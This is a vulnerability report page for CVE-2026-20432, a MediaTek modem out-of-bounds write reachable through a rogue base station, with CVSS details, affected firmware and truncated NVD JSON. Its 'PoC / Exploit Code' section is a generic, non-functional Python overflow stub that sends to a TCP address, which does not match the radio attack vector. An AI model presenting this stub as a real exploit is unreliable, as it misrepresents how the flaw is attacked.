Security Vulnerability Report
中文
CVE-2026-20432 CVSS 8.0 HIGH

CVE-2026-20432

Published: 2026-04-07 04:17:12
Last Modified: 2026-04-10 19:57:17

Description

In Modem, there is a possible out of bounds write due to a missing bounds check. This could lead to remote escalation of privilege, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is needed for exploitation. Patch ID: MOLY01406170; Issue ID: MSV-4461.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:mediatek:mt2735_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:mediatek:mt2737_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt2737:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:mediatek:mt6779_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6779:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:mediatek:mt6781_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6781:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:mediatek:mt6783_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6783:-:*:*:*:*:*:*:* - NOT VULNERABLE
未在描述中明确指定 (参考 Patch ID: MOLY01406170)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # Conceptual Proof of Concept for CVE-2026-20432 # This script simulates sending a crafted packet to trigger OOB write. # Note: Actual exploitation requires specific protocol implementation details. def send_exploit(target_ip, target_port): # Constructing a malicious payload # Header simulating a base station message header = b"\x01\x02\x03\x04" # Padding to reach the vulnerable buffer boundary padding = b"\x00" * 64 # Overflow data intended to write past the buffer bounds # This may overwrite return addresses or function pointers overflow_payload = b"\x41" * 500 payload = header + padding + overflow_payload try: print(f"[+] Sending exploit payload to {target_ip}:{target_port}") # In a real scenario, this would connect to a specific modem interface # s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # s.connect((target_ip, target_port)) # s.send(payload) # s.close() print("[+] Payload sent successfully (Simulation)") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": # Example usage send_exploit("192.168.1.100", 8080)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20432", "sourceIdentifier": "[email protected]", "published": "2026-04-07T04:17:12.413", "lastModified": "2026-04-10T19:57:16.573", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Modem, there is a possible out of bounds write due to a missing bounds check. This could lead to remote escalation of privilege, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is needed for exploitation. Patch ID: MOLY01406170; Issue ID: MSV-4461."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt2735_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "A0D40745-FA7E-40DF-BCA6-24CECBB0AE43"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F1D09FC-5BE9-4B23-82F1-3C6EAC5711A6"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt2737_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "85F4E58C-A9BC-4116-A844-B94C6B6566FA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2737:-:*:*:*:*:*:*:*", "matchCriteriaId": "9C2A1118-B5F7-4EF5-B329-0887B5F3430E"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6779_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "2C031857-65FD-4644-AF44-F9D09303472D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6779:-:*:*:*:*:*:*:*", "matchCriteriaId": "EBA369B8-8E23-492B-82CC-23114E6A5D1C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6781_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "23F92B7C-A5A3-4F32-B4BF-CBE706D79702"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6781:-:*:*:*:*:*:*:*", "matchCriteriaId": "C4EEE021-6B2A-47A0-AC6B-55525A40D718"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6783_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "21ABBF98-6C62-4C4E-AF1E-4EB94D20544C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6783:-:*:*:*:*:*:*:*", "matchCriteriaId": "F2C8F9C2-6471-4498-B089-2F40D2483487"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt8781_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "7E2280E5-F903-4541-8404-9F789CEFF172"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8781:-:*:*:*:*:*:*:*", "matchCriteriaId": "533284E5-C3AF-48D3-A287-993099DB2E41"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt8789_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "24D97CE5-6EC8-4B90-8AFC-983359C5EE62"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8789:-:*:*:*:*:*:*:*", "matchCriteriaId": "1505AD53-987E-4328-8E1D-F5F1EC12B677"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt8791_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "AA74322E-6A1D-4B6F-87D7-9A4CD8D14C47"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8791:-:*:*:*:*:*:*:*", "matchCriteriaId": "9CD2C3EC-B62D-4616-964F-FDBE5B14A449"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt8791t_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "6D15A887-AC6B-4458-8355-8505742F4FC2"}]}, {"operator": "OR", "n ... (truncated)